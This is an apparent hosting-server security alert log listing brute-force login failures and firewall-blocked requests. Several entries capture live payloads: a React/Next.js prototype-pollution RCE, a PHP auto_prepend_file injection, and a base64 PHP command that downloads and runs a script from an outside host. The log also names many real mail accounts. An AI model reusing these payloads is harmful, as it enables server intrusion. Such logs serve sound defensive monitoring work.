rule: 13001
name: Exim Auth failed
abuser: 68.40.189.43
country_id: 6252001
description:
2026-01-30 14:52:01 dovecot_plain authenticator failed for H=c-68-40-189-43.hsd1.mi.comcast.net (brabliar) [68.40.189.43]:32970: 535 Incorrect authentication data (set_id=info@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:52:24 dovecot_login authenticator failed for H=(C6rvZC) [178.16.54.22]:59296: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.198.31
country_id: 1814991
description:
2026-01-30 14:52:24 dovecot_login authenticator failed for H=([183.167.198.31]) [183.167.198.31]:54601: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 14:53:35 +0800] info [webmaild] 203.106.96.63 - muslihin@sutsb.com.my "POST /cpsess6443906184/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 14:53:43 +0800] info [webmaild] 203.106.96.63 - juliana@sutsb.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.70.122.245
country_id: 1269750
description:
2026-01-30 14:53:42 dovecot_login authenticator failed for H=(abts-mum-static-245.122.70.182.airtelbroadband.in) [182.70.122.245]:48924: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 14:54:27 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:15673: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.68.69.10
country_id: 49518
description:
2026-01-30 14:54:05 dovecot_login authenticator failed for H=([154.68.69.10]) [154.68.69.10]:44642: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.92.124.2
country_id: 1269750
description:
2026-01-30 14:54:19 dovecot_login authenticator failed for H=(static.bb.ill.59.92.124.2.bsnl.in) [59.92.124.2]:41346: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:54:21 dovecot_login authenticator failed for H=(GdaS8DKVpz) [178.16.54.138]:55203: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.128.55.98
country_id: 1814991
description:
2026-01-30 14:54:24 dovecot_login authenticator failed for H=([219.128.55.98]) [219.128.55.98]:49788: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.43.137.90
country_id: 1835841
description:
2026-01-30 14:54:02 dovecot_login authenticator failed for H=([14.43.137.90]) [14.43.137.90]:37026: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.227.166
country_id: 1269750
description:
2026-01-30 14:54:31 dovecot_login authenticator failed for H=([103.56.85.65]) [128.185.227.166]:42504: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.201.2.253
country_id: 1814991
description:
2026-01-30 14:55:44 dovecot_login authenticator failed for H=([113.201.2.253]) [113.201.2.253]:18783: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.4.153.7
country_id: 1814991
description:
2026-01-30 14:56:00 dovecot_login authenticator failed for H=([221.4.153.7]) [221.4.153.7]:50598: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 37.19.223.107
country_id: 2782113
domain: visoft.com.my
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/contact-from.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.39.134
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=30711516586311 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 14:57:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:54245: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.160
country_id: 2750405
description:
2026-01-30 14:57:22 973633 [Warning] Aborted connection 973633 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.160' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.158.138.179
country_id: 1269750
description:
2026-01-30 14:57:58 dovecot_login authenticator failed for H=([103.158.138.179]) [103.158.138.179]:36058: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 14:57:03 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:38486: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 14:58:07 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:45706: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 14:58:24 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess0286080682/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.36.194.248
country_id: 1814991
description:
2026-01-30 14:58:27 dovecot_login authenticator failed for H=([119.36.193.230]) [119.36.194.248]:48564: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.232.126
country_id: 1269750
description:
2026-01-30 14:58:27 dovecot_login authenticator failed for H=(nsg-corporate-126.232.187.122.airtel.in) [122.187.232.126]:38104: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 14:59:08 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:51891: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 14:59:17 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:58246: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-01-30 14:59:40 +0800] info [cpaneld] 181.113.114.61 - nexuscol "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nexuscol (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-30 15:00:07 H=([127.0.0.1]) [103.197.57.71]:40142 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 15:00:24 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess0286080682/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.160
country_id: 2750405
description:
2026-01-30 15:00:42 973769 [Warning] Aborted connection 973769 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.160' (This connection closed normally without authentication)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 15:01:26 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess0286080682/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.126
country_id: 1668284
description:
2026-01-30 15:02:12 dovecot_login authenticator failed for H=111-70-32-126.emome-ip.hinet.net [111.70.32.126]:45699: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 15:02:50 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:43237: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 15:03:08 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:20390: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 15:03:43 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:55278: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 15:03:28 H=(localhost.localdomain) [45.150.192.143]:47268 F=<info@kapkenya.org> temporarily rejected RCPT <info@mkmetal.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 15:03:43 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:2279: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.0.136.119
country_id: 1819730
description:
2026-01-30 15:03:07 dovecot_login authenticator failed for H=14-0-136-119.static.pccw-hkt.com [14.0.136.119]:57466: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-01-30 15:04:55 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:49966: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 15:05:04 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:48492: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 15:05:12 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:1862: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.145.35
country_id: 1269750
description:
2026-01-30 15:06:26 dovecot_login authenticator failed for H=([103.174.145.35]) [103.174.145.35]:45362: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-30 15:06:43 +0800] info [webmaild] 180.75.72.60 - regalacc@smartcable.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 162.142.125.196
country_id: 6252001
description:
2026-01-30 15:06:44 974011 [Warning] Aborted connection 974011 to db: 'unconnected' user: 'unauthenticated' host: '162.142.125.196' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 15:06:55 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:41678: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 15:07:58 H=(localhost.localdomain) [45.150.192.143]:51818 F=<info@kapkenya.org> temporarily rejected RCPT <celine@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-30 15:07:51 dovecot_login authenticator failed for H=(nsg-corporate-36.229.187.122.airtel.in) [122.187.229.36]:33582: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.75.254.157
country_id: 3017382
description:
[2026-01-30 15:07:26 +0800] info [cpaneld] 51.75.254.157 - kimmark "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.227.245.154
country_id: 690791
description:
2026-01-30 15:07:29 dovecot_login authenticator failed for H=(213-227-245-154.static.vega-ua.net) [213.227.245.154]:16388: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.124.225.159
country_id: 2017370
description:
2026-01-30 15:07:06 dovecot_login authenticator failed for H=(host-94.124.225.159.gascom.net.ru) [94.124.225.159]:35936: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-01-30 15:07:16 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:53039: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/bin/psysh.bat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-30 15:08:06 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:35854: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.145.209.23
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=135803 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/bin/phpunit.bat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.219.167.24
country_id: 3865483
description:
2026-01-30 15:09:50 dovecot_plain authenticator failed for H=(1J0G627F) [201.219.167.24]:59703: 535 Incorrect authentication data (set_id=bktan@printspecsolution.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.183
country_id: 2750405
description:
2026-01-30 15:10:32 974179 [Warning] Aborted connection 974179 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.183' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.199.252.179
country_id: 6252001
description:
2026-01-30 15:10:41 dovecot_login authenticator failed for H=ool-44c7fcb3.dyn.optonline.net [68.199.252.179]:51660: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 15:10:44 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess0286080682/3rdparty/roundcube/?_task=mail&_action=search&_interval=&_q=KIM%20CHONG&_headers=text&_layout=widescreen&_filter=ALL&_scope=base&_mbox=INBOX&_remote=1&_unlock=loading1769757043142&_=1769741604416 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/bin/doctrine-dbal.bat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.162.163
country_id: 298795
description:
2026-01-30 15:10:18 dovecot_login authenticator failed for H=([5.11.162.163]) [5.11.162.163]:34827: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-01-30 15:10:19 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:53654: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.4.199.164
country_id: 1814991
description:
2026-01-30 15:10:59 dovecot_login authenticator failed for H=([122.4.199.164]) [122.4.199.164]:54311: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77093094
abuser: 115.96.28.206
country_id: 1269750
domain: 42.0.28.70
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 15:11:58 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.143.36.143
country_id: 3057568
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/jakub-onderka/php-console-highlighter/src HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.82.120.82
country_id: 1168579
description:
2026-01-30 15:12:43 dovecot_plain authenticator failed for H=(Q3OS5) [103.82.120.82]:15767: 535 Incorrect authentication data (set_id=cindy.mak@manforce.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/bin/phpunit.bat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.74.12.86
country_id: 1269750
description:
2026-01-30 15:13:58 dovecot_login authenticator failed for H=([182.74.13.219]) [182.74.12.86]:41094: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-30 15:14:00 +0800] info [webmaild] 175.142.113.50 - kelly@evergrown.com.my "GET /cpsess3492653199/3rdparty/roundcube/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1769757239705&_=1769736090822 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-30 15:14:13 +0800] info [webmaild] 175.142.113.50 - kelly@evergrown.com.my "GET /cpsess3492653199/3rdparty/roundcube/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1769757252849&_=1769736090823 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/bin/psysh.bat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.32.39.139
country_id: 2510769
description:
2026-01-30 15:14:04 dovecot_login authenticator failed for H=139.red-83-32-39.dynamicip.rima-tde.net [83.32.39.139]:50127: 535 Incorrect authentication data (set_id=zainuddin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.57.181
country_id: 3865483
domain: ahfengineering.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahfengineering.com/cgi-bin HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 15:16:00 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:13909: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.85.144
country_id: 1269750
description:
2026-01-30 15:15:23 dovecot_login authenticator failed for H=(abts-north-static-144.85.160.122.airtelbroadband.in) [122.160.85.144]:40367: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-30 15:15:24 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:59800: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 152.32.205.238
country_id: 6252001
domain: 42.0.28.70:80
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||MVN:MATCHED_VAR||WPU:||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 152.32.205.238
country_id: 6252001
domain: 42.0.28.70:80
description:
IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:MATCHED_VAR||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/bin/php-parse.bat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-30 15:15:46 dovecot_login authenticator failed for H=([173.25.186.130]) [173.25.186.130]:52307: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.145
country_id: 1668284
description:
2026-01-30 15:15:11 dovecot_login authenticator failed for H=110-25-112-145.adsl.fetnet.net [110.25.112.145]:49065: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 152.32.205.238
country_id: 6252001
domain: 42.0.28.70:80
description:
IM360 WAF: PHP Injection Low value||MV:<?php shell_exec(base64_decode(\"KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjIyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw\")); echo(md5(\"Hello CVE-2024-4577\")); ?>||MVN:ARGS_NAMES:<?php shell_exec(base64_decode(\"KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMTc4LjE2LjU1LjIyNC9zaCB8fCBjdXJsIC1zayBodHRwczovLzE3OC4xNi41NS4yMjQvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw\")); echo(md5(\"Hello CVE-2024-4577\")); ?>||RSV:7.69||T:APACHE||SC:/home2/cabecom/public_html/hello.world||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 15:15:44 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:37672: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 152.32.205.238
country_id: 6252001
domain: 42.0.28.70:80
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:7.69||T:APACHE||SC:/home2/cabecom/public_html/hello.world||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 15:16:26 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 15:16:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57163: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.136.195.32
country_id: 1814991
description:
2026-01-30 15:17:41 dovecot_login authenticator failed for H=(32.195.136.122.adsl-pool.jlccptt.net.cn) [122.136.195.32]:45041: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-01-30 15:17:43 dovecot_login authenticator failed for H=([171.244.60.35]) [171.244.60.35]:17192: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 15:17:49 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:34066: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 15:17:02 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:42642: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-01-30 15:17:05 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net [71.235.27.139]:58350: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.13.190
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=739548 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.52.210
country_id: 1269750
description:
2026-01-30 15:18:11 dovecot_login authenticator failed for H=([103.68.52.210]) [103.68.52.210]:54868: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.205.106.183
country_id: 1269750
description:
2026-01-30 15:18:16 dovecot_plain authenticator failed for H=(15WC133) [49.205.106.183]:6989: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.75.218.103
country_id: 1269750
description:
2026-01-30 15:19:48 dovecot_login authenticator failed for H=([103.55.89.5]) [116.75.218.103]:59762: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.171.125.94
country_id: 1835841
description:
2026-01-30 15:20:05 dovecot_login authenticator failed for H=([111.171.125.94]) [111.171.125.94]:48446: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
